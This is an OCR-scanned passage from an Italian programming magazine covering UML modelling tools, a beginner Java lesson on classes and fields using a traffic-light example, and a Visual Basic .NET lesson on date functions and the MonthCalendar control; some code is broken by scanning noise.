sentazione interna dei modelli. Rational Rose ha 
ottenuto numerosi e autorevoli riconoscimenti da 




Fig. IO: L'ambiente di Rational Rose. 



Fig. 11: L'ambiente di ArgoUML 

Poseidon 

Poseidon, della GentleWare, è una incarnazione di 
ArgoUML. Si tratta, infatti, di un congelamento di 
una delle release stabili del prodotto Open Source, 
cui aggiunge una serie di funzionalità importanti che 
ne fanno un tool dalle caratteristiche molto interes- 
santi. Le possibilità di design offerte da Poseidon 
sono davvero molte e consentono, per esempio, la 
generazione di diagrammi anche fuori dallo stan- 
dard. Questo può anche essere considerata una 
caratteristica negativa, ma è certamente una possibi- 
lità aggiuntiva offerta al progettista. Lo strumento 
non ha le funzionalità da tool di sviluppo di Together, 
ma a partire dai diagrammi generati è possibile pro- 
durre il codice sorgente attraverso una funzionalità 
di export. E' possibile scaricare gratuitamente la ver- 
sione Community di Poseidon dal sito della Gentle- 
Ware (www.gentleware.com), mentre ne esistono al- 
tre versioni a pagamento. L'ultima versione disponi- 
bile sul sito consente di generare diagrammi compa- 
tibili con la specifica 2.0 di UML e 1.2 di XML 

Massimo Canducci 




IL CONSORZIO 
OMG 

OMG (Object 
Management Group) è 
il comitato di 
standardizzazione 
delle tecnologie ad 
object oriented. 
Tutti gli standard 
finora approvati 
dall'ente di 
standardizzazione 
sono poi diventati 
standard de facto, 
questo è indice della 
qualità della 
procedura di 
standardizzazione. 
Nel Gennaio del 1997 
la versione 1.0 di UML 
viene offerta per la 
standardizzazione al 
consorzio OMG. Poco 
più tardi, esattamente 
il 14 Novembre dello 
stesso anno, OMG 
adotta la versione 1.1 
come standard. 
La notazione prende 
piede a partire dalla 
versione 1.3; oggi UML 
è sicuramente la 
metodologia di analisi 
e design ad oggetti più 
diffusa ed adottata in 
ambito professionale. 




CORSI BASE T 



I 



Java 




Rudimenti di programmazione orientata agli ogetti 

Costruire... Cose- 
classi, oggetti e campi 

Finora hai imparato alcune basi della programmazione in generale: 

le variabili, i tipi, le istruzioni di controllo come fore if. 

Ora è il momento della programmazione orientata agli oggetti. 




r '■ "\ 

Q CD Q WEB 

lava 0B.zip 



= p--..-„.,.:,|„„,l„„„-. 



^ 



OBIETTIVI 

DI QUESTA 

LEZIONE 

Questa lezione e quella 

del mese prossimo 

sono davvero 

importanti: 



1) Imparerai a definire 
delle classi. 

2) Userai le classi per 
creare degli oggetti. 

3) Scoprirai cosa sono i 
campi. 



Se hai già esperienza di programmazione "tradi- 
zionale", avrai forse qualche problema iniziale 
a capire gli oggetti. Non ti arrendere alle prime 
difficoltà. Se invece non hai ancora assunto un 
modo di pensare "non orientato agli oggetti", non 
dovresti avere grandi difficoltà. Un'altra cosa: questa 
sarà una lezione un po' meno pratica del solito, 
quindi non stupirti se incontri meno esercizi del 
normale. 

CONTROLLIAMO 
IL TRAFFICO 

Immaginiamo di voler scrivere un complesso siste- 
ma di controllo del traffico urbano. Come dici? Non 
ti senti ancora in grado di fare una cosa così compli- 
cata? Naturale - se ne fossi già capace, non avresti 
bisogno di seguire questo corso. Ma stai tranquillo: 
per ora ci basterà costruire un oggetto semplice, 
come un semaforo. Ecco un programmino assoluta- 
mente stupido che "simula" un semaforo. Voglio solo 
giocare un po' con le luci del semaforo, e usarle per 
decidere se la mia automobile deve partire o restare 
ferma. Questo programma non serve assolutamente 
a nulla, ma sarà un utile punto di partenza. 

class Incrociol { 
public static void main(String[] args){ 
// costruisci il semaforo 
boolean verde; 
boolean giallo; 

boolean rosso; 

// ripeti il ciclo del semaforo cinque volte 
for(int i = 1; i <= 5; i ++) { 

// il semaforo diventa verde 

verde = true; 

giallo = false; 

rosso = false; 

// stampa lo stato del semaforo sullo schermo: 

System. out.println("V: " + verde + ", G: " + giallo 

+ ", R: " + rosso); 

// possiamo passare? 

if(verde) 



System. out.println("Go!"); 


else 


System. out.println("Stop!"); 


// il semaforo diventa giallo 


verde = true; 


giallo = true; 


rosso = false; 


// stampa lo stato del semaforo sull 


d sch 


ermo: 


System. out.println("V: " + verde + 

+ ", 


', G: 
R: " 


" + giallo 
+ rosso); 


// possiamo passare? 


if(verde) 


System. out.println("Go!"); 


else 


System. out.println("Stop!"); 


// il semaforo diventa rosso 


verde = false; 


giallo = false; 


rosso = true; 


// stampa lo stato del semaforo sull 


d sch 


ermo: 


System. out.println("V: " + verde + 

+ ", 


', G: 
R: " 


" + giallo 
+ rosso); 


// possiamo passare? 


if(verde) 


System. out.println("Go!"); 


else 


System. out.println("Stop!"); } 


} 


} 



Il programma deve, per prima cosa, costruire il se- 
maforo. E qui subito ho dovuto risolvere un proble- 
ma: come faccio a mettere insieme un semaforo? 
Java mi permette di costruire variabili di diversi tipi, 
come int e char, ma ovviamente non esistono le 
variabili di tipo "semaforo". Per simulare il semaforo 
ho quindi scelto di usare tre variabili insieme, cia- 
scuna delle quali rappresenta una delle tre luci del 
semaforo. Dato che una luce può essere accesa o 
spenta ho usato il tipo boolean, che può assumere 
solo due valori. Ho scelto per convenzione di usare 
true per indicare una luce accesa, e false per indica- 
re una luce spenta (avrei potuto fare il contrario, ma 



Java 



T CORSI BASE 



la scelta mi sarebbe sembrata meno "naturale"). 

boolean verde; 
boolean giallo; 
boolean rosso; 

Poi ho usato un for per simulare cinque "cicli 
semaforici". Ogni ciclo inizia con il semaforo verde, 
perché la luce verde è accesa e le altre due sono 
spente. 

verde = true; 
giallo = false; 
rosso = false; 

L'istruzione successiva stampa lo stato delle tre luci 
sullo schermo: 

System. out.println("V: " + verde + ", G: " + giallo + ", 

R: " + rosso); 

A questo punto lascio una decisione al programma: 
dobbiamo fermarci al semaforo o possiamo passa- 
re? 



if( verde) 


System 


out 


println("Go!"); 


else 


System 


out 


println("Stop!"); 



In ciascun ciclo il semaforo diventa prima "verde" 
(verde acceso, giallo e rosso spenti), poi "giallo" 
(verde e giallo accesi, rosso spento) e poi rosso 
(verde e giallo spenti, rosso acceso). In tutti e tre i 
casi ho ripetuto le stesse operazioni di prima: stam- 
po lo stato del semaforo, poi scelgo tra "Stop!" e 
"Go!". Il tutto viene ripetuto per cinque volte. Il risul- 
tato sullo schermo è: 




...e così via. Naturalmente questo programma non 
serve a nulla, ma con un salto di fantasia potresti 
immaginarne una versione utile. Ad esempio, cosa 
faresti se ti chiedessero di controllare un vero 
semaforo? Forse scriveresti un programma simile a 
questo, però il ciclo da 1 a 5 diventerebbe un ciclo 
infinito. Tra uno scatto e l'altro del semaforo dovre- 
sti ovviamente aggiungere una pausa. Al posto delle 
stampe sullo schermo potresti scrivere del codice 



che in qualche modo comunica con il vero semafo- 
ro, ad esempio attraverso una connessione di rete, e 
gli dice quale configurazione deve assumere. Il codi- 
ce che sceglie tra "Stop!" e "Go!" in base alle luci del 
semaforo potrebbe essere sostituito da istruzioni 
che fanno saltar fuori dal semaforo un piccolo car- 
tello con le scritte "Stop" e "Go", come in quei bei 
semafori dei vecchi film americani - oppure, più rea- 
listicamente, potrebbe essere usato per comunicare 
uno stato semplificato dell'incrocio ad un centro di 
monitoraggio del traffico. Come vedi, se immagini di 
sostituire la stampa sullo schermo con delle comu- 
nicazioni di rete questo programmino diventa già 
meno stupido. O meglio, lo diventerebbe... Se non 
fosse davvero un brutto programma. 



MARGINI 

MIGLIORAMENTO 



Esercizio 1: Il programma Incrociol ha parecchi seri 
problemi. Vediamo se il tuo istinto ti guida sulla stra- 
da giusta: prova a dire cosa, in questo programma, 
non ti piace. 

Io ti dirò subito cosa non piace a me. Questo pro- 
gramma ha almeno due problemi. 
Primo problema: La prima cosa che non mi piace è 
che in nessun punto del programma compare il 
concetto di semaforo. Certo, abbiamo tre variabili 
che lo rappresentano. Ma mi piacerebbe poter usare 
una sola variabile, che mi renderebbe la vita più faci- 
le. Il codice sarebbe più compatto e pulito, e correrei 
meno rischi di sbagliare - sia quando imposto le luci 
del semaforo che quando vado a leggerne la confi- 
gurazione. Come farei se dovessi inserire altri tre 
semafori nell'incrocio? Dovrei aggiungere altre nove 
variabili! Potrei risolvere in parte il problema orga- 
nizzando ciascun semaforo come un array di tre 
booleani anziché come tre booleani distinti, ma la 
soluzione mi sembra ancora un po' troppo compli- 
cata. E se volessi cambiare la rappresentazione dei 
semafori (ad esempio trasformare le tre luci in due 
sole luci per un semaforo pedonale) dovrei andare a 
modificare tutti i semafori del programma. 
Secondo problema: Incrociol contiene un sacco di 
codice duplicato. L'istruzione di stampa sullo scher- 
mo è ripetuta, esattamente identica, ben tre volte, 
come pure Yif. Il codice duplicato è una pessima 
cosa, per un paio di motivi. Primo: rende tutto meno 
leggibile (e infatti per chiarire cosa succede ho dovu- 
to ricorrere ai commenti, anche se il programma fa 
cose semplicissime). Secondo: se voglio modificare 
la stampa o le condizioni, mi tocca cambiare il codi- 
ce in tre punti anziché in un punto solo. Cosa succe- 
derebbe se volessi modificare il programma in modo 
che la combinazione verde /giallo risulti in uno 
"Stop!" anziché in un "Go!", per diminuire le possibi- 
lità di incidenti? E cosa succederebbe se dovessi 




CONVENZIONI, 

TANTO 

PER CAMBIARE 

Le convenzioni di Java 
per quanto riguarda i 
nomi degli oggetti 
sono le stesse usate 
per i nomi di variabili 
primitive: caratteri 
tutti minuscoli, con 
l'eccezione (nei nomi 
composti da più paro- 
le) del primo carattere 
di ciascuna parola suc- 
cessiva alla prima. Ad 
esempio: luceVerde, 
semaforo o 
incrocioSemaforico. Ti 
ricordo che i nomi 
delle classi hanno inve- 
ce la prima lettera 
maiuscola 
(Indirizzolnternet, 
Semaforo o 
IncrocioSemaforico). 
Come al solito il com- 
pilatore ignora queste 
convenzioni, ma ti con- 
siglio di seguirle rigo- 
rosamente se vuoi che 
i tuoi programmi siano 
ben leggibili. E' sem- 
pre bene poter distin- 
guere al volo il nome 
di una classe da quello 
di un oggetto. 




CORSI BASE T 



I 



Java 






OOP! 

"OOP" sta per Object- 
Oriented 
Programming, 
programmazione 
orientata agli oggetti. 
LOOP si è imposta tra 
gli anni '80 e gli anni 
'90, ed è arrivata al 
grande successo 
commerciale con i 
linguaggi C++ prima, e 
Java poi. La 
caratteristica 
fondamentale della 
programmazione 
object-oriented sta 
nella possibilità di 
definire nuovi tipi e 
(come vedrai il mese 
venturo) nuove 
operazioni su questi 
tipi. La maggior parte 
dei vecchi linguaggi di 
programmazione 
"procedurali", come il 
C e le prime versioni di 
Visual Basic, non 
consentivano di creare 
nuovi tipi. 



usare il programma per controllare un semaforo nei 
paesi anglosassoni, dove spesso i semafori passano 
attraverso quattro stati invece che tre (verde, gial- 
lo/verde, rosso, giallo/rosso e poi ancora verde)? In 
quest'ultimo caso dovrei addirittura duplicare il 
codice una quarta volta, con il rischio di sbagliare 
qualcosa. 

Esercizio 2: Se ne hai voglia, prova ad applicare al 
programma le due modifiche che ho appena propo- 
sto. 

Questi problemi possono essere risolti in diversi 
modi. Visto che stiamo usando Java, che è un lin- 
guaggio object-oriented, useremo gli strumenti 
della programmazione a oggetti. Cominceremo dal 
primo dei due problemi, che è anche il meno pres- 
sante. Il mese venturo ne sapremo abbastanza per 
risolverli entrambi. 



IL MOSTRO 

muovo TIPO 

Dicevamo che non esiste un tipo Java che rappre- 
senta un semaforo. Per fortuna non devi necessa- 
riamente accontentarti dei tipi già disponibili, per- 
ché Java ti permette di creare nuovi tipi. Per farlo 
devi definire un "modello", uno stampino che dice 
come si chiama e come è fatto il nuovo tipo. Per 
definire questo stampino devi usare la parola chia- 
ve class. 

Questo potrebbe stupirti un po', perché fino ad ora 
hai usato la parola class per definire un programma 
(una classe è il contenitore per un mainQ). Per 
adesso puoi semplicemente pensare che questa 
parola chiave sia un po' come il prezzemolo. 
Quando usi class per definire un nuovo tipo, non hai 
bisogno di un mainQ. Ad esempio puoi scrivere un 
file di nome Semaforo.java che contiene questo 
codice: 

class Semaforo { 
boolean verde; 
boolean giallo; 
boolean rosso; } 

Questo file definisce una classe, cioè un nuovo tipo. 
Puoi compilarlo con il solito javac.exe, e il risultato 
sarà un file di nome Semaforo.class. Però, a differen- 
za dei programmi, non puoi eseguire la classe 
Semaforo nella Java Virtual Machine, perché questa 
classe non contiene un mainQ. In cambio contiene 
tre variabili strane, che stanno lì sospese nel vuoto 
senza un mainQ intorno. 

Questo codice è una dichiarazione. Dice a Java: 
voglio definire un nuovo tipo; voglio che questo tipo 
si chiami Semaforo; e voglio il tipo Semaforo sia 
composto da tre variabili di tipo boolean che si chia- 
mano verde, giallo e rosso. Insomma: ho preso tre 



variabili di un tipo già esistente, ho dato loro dei 
nomi che mi piacciono e le ho messe insieme per 
formare un nuovo tipo. Le tre variabili booleane si 
chiamano campi della classe Semaforo. 
Naturalmente scoprirai presto alcune differenze tra i 
dpi che hai visto finora, come int e boolean, e il tipo 
Semaforo. Infatti i tipi come int si chiamano tipi pri- 
mitivi del linguaggio Java, mentre i tipi come 
Semaforo si chiamano, per distinguerli, classi. 
Ora che hai la classe Semaforo, cosa te ne fai? Intanto 
puoi fare tre cose fondamentali che già facevi con i 
tipi primitivi: 

1) puoi definire e inizializzare una variabile del 
nuovo tipo; 

2) puoi assegnare un valore alla variabile; 

3) puoi leggere il valore della variabile. 



IL MITO 

DELLA CREAZIONE 

Per definire e inizializzare una variabile del nuovo 
tipo devi usare la parola chiave new: 

Semaforo s = new Semaforo(); 

Questa istruzione non è poi molto diversa da quella 
che avresti usato per definire, ad esempio, una 
nuova variabile intera: 



int 



La parte a sinistra dell'operatore di assegnamento è 
praticamente uguale nei due casi: il nome del tipo 
seguito dal nome della variabile. Una variabile 
come i si chiama variabile primitiva, perché il suo 
tipo è un tipo primitivo. Una variabile come 5 è un 
po' diversa dalle variabili primitive, perché il suo 
tipo è una classe. Si dice che 5 è un'istanza (o un 
oggetto) della classe Semaforo, o semplicemente 
che 5 è un Semaforo. D'ora in poi userò i termini 
"oggetto" oppure "istanza" al posto di "variabile" 
tutte le volte che avremo a che fare con variabili 
"non primitive". Mentre la parte a sinistra dell'asse- 
gnamento (la dichiarazione) è più o meno uguale 
per i tipi primitivi e per gli oggetti, la parte a destra 
(l'inizializzazione) è diversa. 
Puoi assegnare direttamente un valore ad una 
variabile primitiva, ma non puoi fare lo stesso con 
un oggetto. Questo è naturale: come fai ad espri- 
mere il "valore" di un Semaforo, che è composto da 
tre variabili insieme? Inoltre gli oggetti non vengo- 
no al mondo da soli: devi crearli, in modo molto 
simile agli array. 

Per creare un oggetto usa la parola chiave new 
seguita dal nome della classe e da una coppia di 
parentesi tonde (vedrai in futuro che a volte c'è 




Java 



I 



T CORSI BASE 




qualcosa nelle parentesi, ma per ora non te ne 
preoccupare) . 

Ricapitoliamo: abbiamo definito una classe Sema- 
foro, e poi l'abbiamo usata per costruire un ogget- 
to Semaforo. Puoi pensare alla classe come a uno 
stampo: la classe Semaforo definisce quali caratte- 
ristiche devono avere i semafori in generale, e puoi 
usarla per creare dei "veri semafori", cioè delle 
istanze. Le istanze somigliano alle variabili, nel 
senso che ciascun semaforo è un oggetto comple- 
tamente separato e può assumere valori diversi 
dagli altri semafori. Allo stesso modo potremmo 
avere una classe Cane che ci serve per costruire dei 
cani, e le sue istanze potrebbero chiamarsi fido, 
pluto o melampo. 

ANDAR PER CAMPI 

Dopo che hai costruito un Semaforo puoi assegnar- 
gli un valore. Ma come? Il valore di un Semaforo è 
composto da tre campi booleani, quindi il modo più 
facile è assegnare un valore a ciascuno di questi tre 
campi. Per referenziare il campo di un oggetto devi 
usare il nome dell'oggetto, seguito da un punto, 
seguito dal nome del campo. Ad esempio: 

Semaforo s = new Semaforo(); 

s. rosso = true; 

System. out.println(s. rosso); // stampa "true" 

Naturalmente s.rosso identifica il campo rosso del 
semaforo 5. Se crei un secondo semaforo di nome 
altroSemaforo, allora s.rosso e altroSemaforo.rosso 
sono due campi distinti che non hanno alcuna rela- 
zione tra loro. Un'altra domanda interessante è: 
quanto vale un campo prima che tu gli abbia asse- 
gnato un valore? 

Semaforo s = new Semaforo(); 

System. out.println(s. giallo); // stampa "false" 

Java inizializza automaticamente i campi degli 
oggetti, così come fa con i componenti degli array (ti 
ricordo che le variabili primitive devono invece 
essere inizializzate in modo esplicito, pena un erro- 
re di compilazione). I valori di default dei campi 
sono gli stessi dei componenti degli array: gli int 
sono inizializzati a 0, i boolean a. false, e così via. 
E se i valori di default non ti piacciono? Allora puoi 
assegnare il valore iniziale che preferisci ai campi di 
tutti gli oggetti di classe Semaforo. Puoi dichiarare 
questi valori iniziali nella classe, nello stesso punto 
in cui definisci i campi. Ad esempio: se non ti piace 
l'idea di costruire un semaforo con tutte e tre le luci 
spente, puoi fare in modo che tutti i semafori "appe- 
na nati" siano verdi: 

class Semaforo { 




Nota che per chiarezza ho inizializzato esplicita- 
mente a false i campi giallo e rosso, anche se il com- 
pilatore lo avrebbe fatto automaticamente. Ora pos- 
siamo usare la classe Semaforo per riscrivere il pro- 
gramma senza usare le tre variabili separate. Provaci 
da solo. 

Esercizio 3: Prova a scrìvere un programma Incro- 
cio2 simile a Incrocio 1, ma usando un oggetto di 
classe Semaforo. Ricorda che questo programma 
non è più composto da un solo file, ma da due 
[Incrocio2.java e Semaforo. java), la classe Semafo- 
ro.class deve essere nella stessa directory di Incro- 
cio2.java se vuoi che il programma venga compilato 
ed eseguito regolarmente. Ecco la soluzione: 

class Incrocio2 { 

public static void main(String[] args){ 
//crea il semaforo 
Semaforo s = new Semaforo(); 
// ripeti il ciclo del semaforo cinque volte 
for(int i = 1; i <= 5; i++) { 
// il semaforo diventa verde 
s.verde = true; 
s. giallo = false; 
s.rosso = false; 

// stampa lo stato del semaforo sullo schermo: 
System. out.printlnf'V: " + s.verde + ", G: " + 

s. giallo + ", R: " + s.rosso); 
// possiamo passare? 
if(s. verde) 

System. out.println("Go!"); 
else 
System. out.println("Stop!"); 

Ho trascritto solo la parte iniziale del programma, 
ma non farai fatica ad immaginare il resto. Le parti 
modificate sono in grassetto. Ora il semaforo è 
un'entità ben identificata nel nostro codice. Certo, 
potevamo ottenere lo stesso risultato definendo cia- 
scun semaforo come un array di tre luci. Dopo tutto 
il nuovo tipo non è che un aggregato di variabili, 
tanto che ti starai forse chiedendo se è valsa la pena 
di utilizzare un intero articolo solo per imparare a 
creare degli oggetti così stupidi. In effetti il resto del 
codice è diventato ancora più prolisso, perché 
abbiamo aggiunto il nome dell'oggetto di fronte a 
tutti i riferimenti alle tre luci. Perché tanta fatica, 
dunque? Lo vedrai il mese prossimo, quando done- 
remo intelligenza a questi semafori stupidi. 
Scoprirai che la classe Semaforo è il primo passo 
per risolvere anche il problema della duplicazione 
del codice, che ancora non abbiamo affrontato. 

Paolo Perrotta 




FILOSOFIA 

DEI DUE MONDI 

Un programma simula 
e risolve nel mondo 
del computer un pro- 
blema che viene dal 
mondo reale (come ad 
esempio ordinare una 
lista di clienti, o con- 
trollare un incrocio). 
Ma i linguaggi di pro- 
grammazione sono 
strumenti limitati. 
Questo viaggio tra il 
"mondo reale" e il 
"mondo del calcolato- 
re" richiede quindi una 
certa fatica, esperienza 
e un po' di immagina- 
zione. Più i due mondi 
sono lontani, più il 
viaggio è difficile. 
La programmazione a 
oggetti ci permette di 
creare nuovi tipi che 
modellano le entità del 
mondo reale. Come 
leggerai questo mese e 
il mese prossimo, un 
semaforo può essere 
un "vero semaforo" 
anziché semplicemente 
un insieme di tre varia- 
bili. Quindi la program- 
mazione OOP accorcia 
la distanza tra il cosid- 
detto "spazio del pro- 
blema" (il mondo 
reale) e lo "spazio 
della soluzione" (il 
programma per com- 
puter). 




CORSI BASE T 



I 



Visual Basic .NET 




I controlli e le fun zioni di manipolazione delle date 

La gestione delle date 

Per la gestione delle date. Visual Basic .NET mette a disposizione due 
controlli: MonthCalendar e DateTimePicker, in questa puntata ci 
occuperemo dei loro infiniti usi. 




Q CD Q WEB 

videoteca.zip 



*rr =;Lr ' ' ' ' " 




DATECHAIMGED 

L'evento DateChanged 

si verifica quando 

cambia la data o 

l'intervallo di date 

selezionato; ad 

esempio, quando 

l'utente modifica in 

modo esplicito una 

selezione all'interno 

del mese corrente o 

quando la selezione 

viene modificata in 

modo implicito in 

risposta allo 

spostamento sul mese 

successivo o 

precedente. 



Ly uso dei controlli MonthCalendar e Date- 
TimePicker è consigliabile ogni qualvol- 
I ta si devono gestire delle date, poiché 
permettono di selezionare, facilmente, una 
data con un semplice clic del mouse, evitando 
ogni controllo sul formato corretto. Prima di 
descrivere i due controlli faremo, inoltre, un 
breve riepilogo sulle operazioni con variabili di 
tipo data [Date] 



ATTRIBUIRE UN 
VALORE AD UNA DATA 

Una variabile di tipo Date può contenere una 
data compresa nell'intervallo fra il 1 gennaio 100 
e il 31 dicembre 9999, ed orari compresi fra le 
0.00.00 e le 23.59.59. I valori di data ed ora non 
sono memorizzati internamente in VB .NET 
come numeri a virgola mobile, ma come un 
intero di 64 bit (8 byte), per questo non sono 
più supportate alcune funzioni di manipolazio- 
ne delle date presenti in VB6. I valori da asse- 
gnare ad una variabile di tipo Date possono 
essere racchiusi tra due virgolette (") come le 
normali stringhe, oppure tra due simboli can- 
celletto (#). Utilizzando le virgolette è possibile 
attribuire qualsiasi valore di data riconoscibile. 
Ad esempio, si possono assegnare ad una varia- 
bile datai i seguenti valori: 

Dim datai As Date 

datai = "15-dic-2003" 

datai = "15/12/2003" 

datai = "15/dicembre/03" 

Utilizzando il simbolo cancelletto il formato 
della data deve essere, necessariamente, del 
tipo mese/ giorno/anno, ad esempio: 

datai = #12/15/2003* 

Il formato del messaggio, con cui mostriamo il 
valore di datai, risultato dell'istruzione: 



MessageBox.Show(datal) 

dipende dalle impostazioni internazionali del 
sistema determinate da Pannello di controllo. 
Ogni impostazione internazionale com'è noto 
prevede diverse convenzioni per la visua- 
lizzazione delle date, degli orari, dei numeri, 
della valuta e di altre informazioni. In un siste- 
ma impostato in formato italiano standard, 
sarà visualizzata la stringa 15/ 12/2003. Per 
ottenere la data e l'ora corrente sono disponibi- 
li le funzioni: 

• Today. Restituisce la data corrente di siste- 
ma. 

• Now. Restituisce la data e l'ora correnti, in 
base all'impostazione dell'ora e della data di 
sistema. 

• TimeOfDay. Restituisce l'ora di sistema cor- 
rente. 

Si può scrivere ad esempio: 

Dim Oggi As Date 
Oggi = Today 

Le funzioni Today e TimeOfDay possono essere 
usate per impostare la data e l'ora di sistema. 



OPERAZIONI 
CON LE DATE 

Le funzioni DateAdd e DateDiff, permettono di 
compiere operazioni con le date. La funzione 
DateAdd consente di aggiungere ad una data un 
determinato valore di tempo, la sintassi è la 
seguente: 

DateAdd(intervallo, numero, data) 

In cui: intervallo rappresenta il tipo di intervallo 



Visual Basic .NET 



T CORSI BASE 



di tempo che si vuole aggiungere (vedi box per 
l'elenco completo), numero indica il numero di 
intervalli da aggiungere e data rappresenta la 
data e l'ora che si vuole manipolare. Il valore di 
numero può essere un valore negativo, in questo 
caso tale valore sarà sottratto alla data deside- 
rata. Per aggiungere trenta giorni al 1° Gennaio 
2004 si può scrivere: 

MessageBox.Show(DateAdd("d", 30, "01/01/2004")) 

'Visualizza 31/01/2004 

Per sottrarre due mesi al 1° Gennaio 2004 si può 
scrivere: 

MessageBox.Show(DateAdd("m", -2, "01/01/2004")) 

'Visualizza 01/11/2003 

La funzione DateAdd non restituisce mai una data 
non valida e tiene conto anche degli anni bisestili. 
Ad esempio, aggiungendo un mese al 31- 
Gennaio-2004, il risultato sarà 29-Febbraio-2004, 
poiché il 2004 è un anno bisestile. La funzione 
DateDiff permette di valutare l'intervallo di tempo 
trascorso tra due date. La sintassi è la seguente: 

DateDiff (intervallo, datai, data2 [,primogiornodella 

settimana[, primasettimanadellanno]]) 

In cui datai e data2 rappresentano le date di cui 
si vuole calcolare la differenza di intervallo di 
tempo. Gli ultimi due argomenti sono facoltati- 
vi ed il loro valore, se non specificato, dipende 
dalle impostazioni di sistema, primogiornodella- 
settimana, se non impostato, corrisponde a 
Domenica e primasettimanadellanno, se non im- 
postato, corrisponde alla settimana nella quale 
cade il primo Gennaio. Nell'esecuzione del cal- 
colo viene eseguita l'operazione data2-datal, 
per questo se datai e maggiore di data2 il risul- 
tato sarà negativo 

MessageBox.Show(DateDiff("m", "01/01/2004", 

"29/02/2004")) 'Visualizza 1 

MessageBox.Show(DateDiff("d", "01/01/2004", 

"29/02/2004")) 'Visualizza 59 

MessageBox.Show(DateDiff("d", "29/02/2004", 

"01/01/2004")) 'Visualizza -59 

Sono, infine, disponibili diverse funzioni che 
restituiscono una parte della data: 

Day. Restituisce un intero compreso tra 1 e 31 
che rappresenta il giorno del mese. Prestate 
attenzione, per utilizzare la funzione Day, e ne- 
cessario definirla in modo completo preceduta 
dal namespace Microsoft.VisualBasic poiché la 
parola chiave Day è definita anche nel name- 



space System.Windows. Forms. 
MessageBox.Show(Microsoft.VisualBasic.Day("15/12/2003")) 

'Visualizza 15 

Month. Restituisce un intero compreso tra 1 e 12 
che rappresenta il mese. 

MessageBox.Show(Month("15/12/2003")) 'Visualizza 12 

Year. Restituisce un intero compreso tra 1 e 
9999 che rappresenta l'anno. 

MessageBox.Show(year("15/12/2003")) 'Visualizza 2003 

Weekday. Restituisce un intero che rappresenta 
il giorno della settimana (vedi box) . 
MessageBox.Show(Weekday("15/12/2003")) 'Visualizza 2 

Hour. Restituisce un intero compreso tra e 23 
che rappresenta l'ora del giorno. 

MessageBox.Show(Hour("15/12/2003 20.25.30")) 

'Visualizza 20 

Minute. Restituisce un intero compreso tra e 
59 che rappresenta i minuti. 
MessageBox.Show(Minute("15/12/2003 20.25.30")) 

'Visualizza 25 

Second. Restituisce un intero compreso tra e 
59 che rappresenta i secondi. 
MessageBox.Show(Second("15/12/2003 20.25.30")) 

'Visualizza 30 



IL CONTROLLO 
MONTHCALENDAR 

Il controllo MonthCalendar (calendario men- 
sile) presenta un'interfaccia di tipo calenda- 
rio, in pratica, una griglia contenente i giorni 
numerati del mese selezionato, disposti in 
colonne in base ai giorni della settimana. In 
questo controllo, è facilmente selezionabile 
una data utilizzando il mouse, oppure un 
intervallo contiguo di date utilizzando la 
tastiera ed il mouse. Dopo aver inserito un 
controllo MonthCalendar in una nuova form, 
si può cliccare con il tasto destro del mouse 
sul controllo e selezionare dal menu a discesa 
la voce: Proprietà. Analizziamo le proprietà 
disponibili. Le proprietà MinDate e MaxDate 
devono essere utilizzate per impostare la più 
piccola e la più grande data che può essere 
visualizzata nel controllo. La proprietà Max- 
SelectionCount definisce il massimo numero 
di giorni selezionabili (l'impostazione di de- 
fault è di una settimana). La proprietà First- 
DayOfWeek definisce quale giorno della setti- 
mana dovrà apparire nella prima colonna a 
sinistra del calendario. La proprietà Show- 





GLOSSARIO 



SELECTIONRANGE 

La proprietà 
SelectionRange 
permette di recuperare 
o impostare la data o 
l'intervallo di date 
selezionato sul 
controllo 
MonthCalendar. 
Se viene selezionata 
una data singola, i 
valori delle proprietà 
Start e End saranno 
uguali. 



UPDATE 
BOLDEDDATES 

Il metodo 

UpdateBoldedDates 
deve essere utilizzato 
per visualizzare le 
modifiche apportate 
alle proprietà 
BoldedDates, 
AnnuallyBoldedDates e 
MonthlyBoldedDates, 
poiché ridisegna le date 
in grassetto in base alle 
date impostate nella 
relativa proprietà. 



MONTHCALENDAR 

Il controllo 
MonthCalendar si 
adatta 

automaticamente alle 
impostazioni 
internazionali del 
sistema permettendo 
la corretta 
visualizzazione dei 
nomi dei mesi e dei 
giorni. 




CORSI BASE T 



I 



Visual Basic .NET 




1! ! !•! ili !H! l! 



io C 



L.,.»i^l 




GLOSSARIO 



FUNZIONE 
ISDATE 

Una funzione degna di 
attenzione nella 
gestione delle date è 
la funzione IsDate. La 
funzione IsDate 
restituisce un valore 
Booleano per indicare 
se è possibile o meno 
convertire un'espres- 
sione in una data. La 
sintassi è la seguente 

IsDate(espressione) 

La funzione restituisce 
True se l'argomento 
obbligatorio espressio- 
ne viene riconosciuto 
come una data valida, 
altrimenti restituisce 
False. 



WeekNumbers posta a True, permette la com- 
parsa di una nuova colonna all'interno del 
controllo, in cui viene visualizzato il numero 
di settimane trascorse dall'inizio dell'anno. La 
proprietà ShowToday posta a True permette la 
visualizzazione, nella parte inferiore del con- 
trollo, del giorno corrispondente al giorno 
corrente. Il giorno visualizzato corrisponde al 
valore della proprietà TodayDate, per default 
coincide con la data di sistema. Se si lascia a 
True anche il valore di ShowToday Circle, nel 
controllo verrà visualizzato un cerchietto 
attorno alla data odierna. Impostando la pro- 
prietà CalendarDimension si può determinare 
il numero di mesi da visualizzare in ogni riga 
ed in ogni colonna, per un massimo di dodici 
mesi e di un solo anno alla volta. Agendo sul 
valore di questa proprietà si modificano, 
automaticamente, le dimensioni del control- 
lo. Le frecce visualizzate in alto permettono di 
scorrere il controllo, in fase di esecuzione, per 
il numero di mesi impostato nella proprietà 
ScrollChange. Con il valore di default pari a 
zero, il controllo scorrerà di un numero di 
mesi pari al numero dei mesi visualizzato. 
Sono disponibili, inoltre, alcune proprietà per 
la gestione dei colori di primo piano e di sfon- 
do: 

TitleBackColor e TitleForeColor consentono 
di impostare i colori di sfondo e di primo 
piano dell'area del titolo del controllo. 

TrailingForeColor consente di impostare il 
colore di primo piano delle date che si riferi- 
scono al mese precedente o successivo a quel- 
lo visualizzato. 

ForeColor consente di impostare il colore di 
primo piano delle date che si riferiscono al 
mese visualizzato. 




DAYOFWEEK 

Di seguito sono indicate le possibili 
DayOfWeek. 



impostazioni dell'argomento 



FirstDayOfWeek.System, 0, Primo giorno della settimana specificato nelle 

impostazioni di sistema 

FirstDayOfWeek.Sunday, 1, Domenica (impostazione di default) 

FirstDayOfWeek.Monday, 2, Lunedi 

FirstDayOfWeek.Tuesday, 3, Martedì 

FirstDayOfWeek.Wednesday, 4, Mercoledì 

FirstDayOfWeek.Thursday, 5, Giovedì 

FirstDayOfWeek.Friday, 6, Venerdì 

